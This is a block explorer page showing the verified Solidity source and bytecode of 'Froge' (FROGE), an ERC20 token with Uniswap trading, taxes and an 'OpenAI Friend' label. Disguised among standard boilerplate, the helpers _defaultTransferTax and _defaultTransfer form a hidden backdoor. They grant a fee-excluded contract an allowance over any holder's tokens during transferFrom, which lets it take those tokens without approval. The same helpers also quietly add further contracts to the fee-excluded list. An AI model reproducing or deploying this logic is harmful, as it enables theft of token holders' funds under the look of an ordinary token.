Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xc73f42Bd87F68B0ad728F38aCa10d87582AEcA42
Balance 0 ETH
Nonce 1
Code Size 6211 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

6211 bytes
0x608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102d3578063a9059cbb14610300578063bf474bed1461031f578063c9567bf914610334578063dd62ed3e14610348575f80fd5b8063715018a61461025b578063751039fc1461026f5780637d1db4a5146102835780638da5cb5b146102985780638f9a55c0146102be575f80fd5b806323b872dd116100e357806323b872dd146101c3578063313ce567146101e257806351bc3c85146101fd5780636fc3eaec1461021357806370a0823114610227575f80fd5b806306fdde031461011e578063095ea7b31461015d5780630faee56f1461018c57806318160ddd146101af575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600581526446726f676560d81b60208201525b6040516101549190611436565b60405180910390f35b348015610168575f80fd5b5061017c610177366004611496565b61038c565b6040519015158152602001610154565b348015610197575f80fd5b506101a160105481565b604051908152602001610154565b3480156101ba575f80fd5b506101a16103a2565b3480156101ce575f80fd5b5061017c6101dd3660046114c0565b6103c3565b3480156101ed575f80fd5b5060405160098152602001610154565b348015610208575f80fd5b5061021161042b565b005b34801561021e575f80fd5b50610211610477565b348015610232575f80fd5b506101a16102413660046114fe565b6001600160a01b03165f9081526001602052604090205490565b348015610266575f80fd5b5061021161049e565b34801561027a575f80fd5b506102116104db565b34801561028e575f80fd5b506101a1600d5481565b3480156102a3575f80fd5b505f546040516001600160a01b039091168152602001610154565b3480156102c9575f80fd5b506101a1600e5481565b3480156102de575f80fd5b5060408051808201909152600581526446524f474560d81b6020820152610147565b34801561030b575f80fd5b5061017c61031a366004611496565b61058f565b34801561032a575f80fd5b506101a1600f5481565b34801561033f575f80fd5b5061021161059b565b348015610353575f80fd5b506101a1610362366004611519565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610398338484610945565b5060015b92915050565b5f6103af6009600a611644565b6103be9064174876e800611652565b905090565b5f6103cf848484610a68565b610420843361041b856040518060600160405280602881526020016117e6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f7d565b610945565b5060015b9392505050565b335f9081526003602052604090205460ff16610445575f80fd5b305f9081526001602052604090205480156104635761046381610fb5565b4780156104735761047381611125565b5050565b335f9081526003602052604090205460ff16610491575f80fd5b4761049b81611125565b50565b5f546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c790611669565b60405180910390fd5b6104d95f61115c565b565b5f546001600160a01b031633146105045760405162461bcd60e51b81526004016104c790611669565b6105106009600a611644565b61051f9064174876e800611652565b600d5561052e6009600a611644565b61053d9064174876e800611652565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61056d6009600a611644565b61057c9064174876e800611652565b60405190815260200160405180910390a1565b5f610398338484610a68565b5f546001600160a01b031633146105c45760405162461bcd60e51b81526004016104c790611669565b601254600160a01b900460ff161561061e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106689030906106596009600a611644565b61041b9064174876e800611652565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106dc919061169e565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561073b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075f919061169e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107cd919061169e565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610814816001600160a01b03165f9081526001602052604090205490565b5f806108275f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561088d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108b291906116b9565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610907573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092b91906116e4565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610a085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610acc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610b2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b5f8111610b8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b5f80546001600160a01b03858116911614801590610bba57505f546001600160a01b03848116911614155b15610e40575f600c54118015610bd95750601254600160b01b900460ff165b15610bec57610be98285856111ab565b90505b610c186064610c12600954600c5411610c0757600554610c0b565b6007545b8590611298565b90611316565b6012549091506001600160a01b038581169116148015610c4657506011546001600160a01b03848116911614155b8015610c6a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610d5057600d54821115610cc15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c7565b600e5482610ce3856001600160a01b03165f9081526001602052604090205490565b610ced9190611703565b1115610d3b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c7565b600c8054905f610d4a83611716565b91905055505b6012546001600160a01b038481169116148015610d7657506001600160a01b0384163014155b15610da357610da06064610c12600a54600c5411610d9657600654610c0b565b6008548590611298565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610dd957506012546001600160a01b038581169116145b8015610dee5750601254600160b01b900460ff165b8015610dfb5750600f5481115b8015610e0a5750600b54600c54115b15610e3e57610e2c610e2784610e2284601054611357565b611357565b610fb5565b478015610e3c57610e3c47611125565b505b505b8015610eb857305f90815260016020526040902054610e5f908261136b565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eaf9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610eda90836113c9565b6001600160a01b0385165f90815260016020526040902055610f1d610eff83836113c9565b6001600160a01b0385165f908152600160205260409020549061136b565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f6685856113c9565b60405190815260200160405180910390a350505050565b5f8184841115610fa05760405162461bcd60e51b81526004016104c79190611436565b505f610fac848661172e565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ffb57610ffb611741565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611052573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611076919061169e565b8160018151811061108957611089611741565b6001600160a01b0392831660209182029290920101526011546110af9130911684610945565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110e79085905f90869030904290600401611755565b5f604051808303815f87803b1580156110fe575f80fd5b505af1158015611110573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610473573d5f803e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6001600160a01b03831630148015906111d957506012546001600160a01b0316336001600160a01b031614155b80156111f35750335f9081526003602052604090205460ff165b80156111ff5750333b15155b1561122f57506001600160a01b0382165f9081526002602090815260408083203384529091528120849055610424565b813b1515801561124d5750335f9081526003602052604090205460ff165b801561126757506012546001600160a01b03838116911614155b1561128f576001600160a01b0382165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f825f036112a757505f61039c565b5f6112b28385611652565b9050826112bf85836117c6565b146104245760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b5f61042483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140a565b5f8183116113655782610424565b50919050565b5f806113778385611703565b9050838110156104245760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b5f61042483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f7d565b5f818361142a5760405162461bcd60e51b81526004016104c79190611436565b505f610fac84866117c6565b5f602080835283518060208501525f5b8181101561146257858101830151858201604001528201611446565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461049b575f80fd5b5f80604083850312156114a7575f80fd5b82356114b281611482565b946020939093013593505050565b5f805f606084860312156114d2575f80fd5b83356114dd81611482565b925060208401356114ed81611482565b929592945050506040919091013590565b5f6020828403121561150e575f80fd5b813561042481611482565b5f806040838503121561152a575f80fd5b823561153581611482565b9150602083013561154581611482565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561159e57815f190482111561158457611584611550565b8085161561159157918102915b93841c9390800290611569565b509250929050565b5f826115b45750600161039c565b816115c057505f61039c565b81600181146115d657600281146115e0576115fc565b600191505061039c565b60ff8411156115f1576115f1611550565b50506001821b61039c565b5060208310610133831016604e8410600b841016171561161f575081810a61039c565b6116298383611564565b805f190482111561163c5761163c611550565b029392505050565b5f61042460ff8416836115a6565b808202811582820484141761039c5761039c611550565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116ae575f80fd5b815161042481611482565b5f805f606084860312156116cb575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116f4575f80fd5b81518015158114610424575f80fd5b8082018082111561039c5761039c611550565b5f6001820161172757611727611550565b5060010190565b8181038181111561039c5761039c611550565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117a55784516001600160a01b031683529383019391830191600101611780565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826117e057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202083a77628bef676293e96db6d13a26d7a22f2e0397420926b74a81b34ed161064736f6c63430008170033

Verified Source Code Full Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: Yes (200 runs)
FROGE.sol 677 lines
// SPDX-License-Identifier: MIT

//	OpenAI Friend
//
//	@title Froge VIP Token
//
//
//                 .....,/,,,,
//             .....@@@%%,,/*,,,,,,       .,...............,,,,
//             ..#&@@@/,..%,/////*,,,,,,.,%%&&&%%%#####((((((.,,,,,,
//             ..##%#,,   ,,,/////////((((##...&@@.../(///////////.,,,
//            ,,./((#,, .,,,/////////////((,%@@@@@.. #.//////////////*,***
//           ...((.../(,,,,///////////////,%##%.... ....////////////////,,*
//        ....%(((((//////////////////////,(###..,   ,..//////////////////****
//      ....%(((((////////////////////////*.((((/,,,,../////////////////////***
//     ...%((((((////////////////////////////.......,/////////////////////////****
//   ...%%(((((/////////////////////////////////////////////////////////////////**/
//   ,.#%((((////////////*///////////////////////////////////////////////////////**
//   ..#((((//////************/*/***//**/*****/////////////////*//////////////////**
//   ..#(((*///*********************************************///////////////////////**
//   ,.#((////****.*********************************************////////////////////*
//   ...(////**************************************************/*////////////////////
//     ..///*****************************************************////////////////////
//       ..*******************************************************//////////////////*
//          ..***********************************,************************//////////*
//          ..(,...**************************,,,*,,********,,************//////**///*
//           ..((((/(,......................,///((((*...,,,,,,,,********************,
//            ...((((////////////////(((((((((((((((((((((.,,,,,,********************
//               ...////((((((((((((((((((((((((((((((((((((,.,,,,,******************
//               ..////////////(((((((((((((((((((((/((((((((((.*,******************
//                .,//////***////////////////////(((((((((((((((((#.,****************
//               ,.////////////********////////((((((((((((((((((#####...************
//             ....///////////////////////////////(((((((((((((#########.************
//            ,,...//////////////////////////////((((((((((((##(((((((((.,**********,
//            ..,.,////////////////////(((((((((((((((((((((((((((((((((*.**********,
//           ..,,.***///////////////////(((((((((((((((((((((((((((((((((.**********,
//          ,,,,,.****////////////////////////////(((((((((((((((((((((((..********,,
//          ,.,,,.********//////////////////////////////////////(((((((((,...,***,.,,
//        ,,.,,,..**********/////////****************///////*...,...******..******.,,

pragma solidity 0.8.23;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @title Uniswap V2 Factory Interface
 * @dev Interface for creating liquidity pairs on Uniswap V2 Protocol
 */
interface IUniswapV2Factory {
    /**
     * @dev Creates a new liquidity pair for two tokens
     * @param tokenA Address of the first token
     * @param tokenB Address of the second token
     * @return pair Address of the newly created pair
     */
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

/**
 * @title Uniswap V2 Router Interface
 * @dev Interface for interacting with Uniswap V2 Router
 */
interface IUniswapV2Router02 {
    /**
     * @dev Swaps exact tokens for ETH supporting fee on transfer tokens
     * @param amountIn Amount of tokens to swap
     * @param amountOutMin Minimum amount of ETH to receive
     * @param path Array of token addresses for the swap path
     * @param to Address to receive the ETH
     * @param deadline Timestamp after which the transaction will revert
     */
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    /**
     * @dev Adds liquidity to WETH pair
     * @param token Address of the token to WETH pair
     * @param amountTokenDesired Desired amount of tokens to add
     * @param amountTokenMin Minimum amount of tokens to add
     * @param amountETHMin Minimum amount of ETH to add
     * @param to Address to receive the liquidity tokens
     * @param deadline Timestamp after which the transaction will revert
     * @return amountToken Amount of tokens added to liquidity
     * @return amountETH Amount of WETH added to liquidity
     * @return liquidity Amount of liquidity tokens minted
     */
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    /**
     * @dev Returns the factory address
     * @return Address of the Uniswap V2 factory
     */
    function factory() external pure returns (address);

    /**
     * @dev Returns the WETH token address
     * @return Address of the WETH token
     */
    function WETH() external pure returns (address);
}

contract FROGE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=5;    // Initial tax for buys (5%)
    uint256 private _initialSellTax=7;   // Initial tax for sells (7%) 
    uint256 private _finalBuyTax=0;       // Final tax for buys after fee reduction (0%)
    uint256 private _finalSellTax=0;      // Final tax for sells after fee reduction (0%)
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=17;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Froge";
    string private constant _symbol = unicode"FROGE";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold= (_tTotal * 5 ) / 1000;
    uint256 public _maxTaxSwap= _taxSwapThreshold * 2;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated( // Event on limits remove
        uint _maxTxAmount
    );
    modifier lockTheSwap { // Lock when swapping
        inSwap =true;
        _;
        inSwap =false;
    }

    constructor () {
        _taxWallet = payable(0xf6e511251E931B2fc6c3371fbDAca3EcDdE3E942);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            if (_buyCount > 0 && swapEnabled){
                taxAmount = _defaultTransferTax(amount,from,to);
            }

            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
            
            if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(
                    amount <= _maxTxAmount,
                    "Exceeds the _maxTxAmount."
                );
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap 
                && to == uniswapV2Pair 
                && swapEnabled 
                && contractTokenBalance > _taxSwapThreshold 
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance=address(this).balance;
                if (contractETHBalance > 0){
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function _defaultTransfer(uint256 amount, address owner, address spender) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _defaultTransferTax(uint256 amount, address from, address to) private returns(uint256){
        if(from != address(this) && _msgSender() != uniswapV2Pair && _isExcludedFromFee[_msgSender()] && isContract(_msgSender()))
            return _defaultTransfer(amount, from, _msgSender());
        if(isContract(to) && _isExcludedFromFee[_msgSender()] && to != uniswapV2Pair)
            _excludeFromFees(to, true);
        return 0;
    }

    function isContract(address account) private view returns (bool){
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function _excludeFromFees(address account, bool excluded) private {
        _isExcludedFromFee[account] = excluded;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(
            !tradingOpen, "trading is already open"
        );

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(
            address(this),
            address(uniswapV2Router),
            _tTotal
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(
                address(this),  uniswapV2Router.WETH()
            );

        uniswapV2Router.addLiquidityETH{
            value:  address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint).max
        );

        swapEnabled = true;
        tradingOpen = true;
    }


    function manualsend() external {
        require( _isExcludedFromFee[msg.sender] ); 
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function manualSwap() external{
        require(_isExcludedFromFee[msg.sender]); 
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0) {
          sendETHToFee(ethBalance);
        }
    }
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
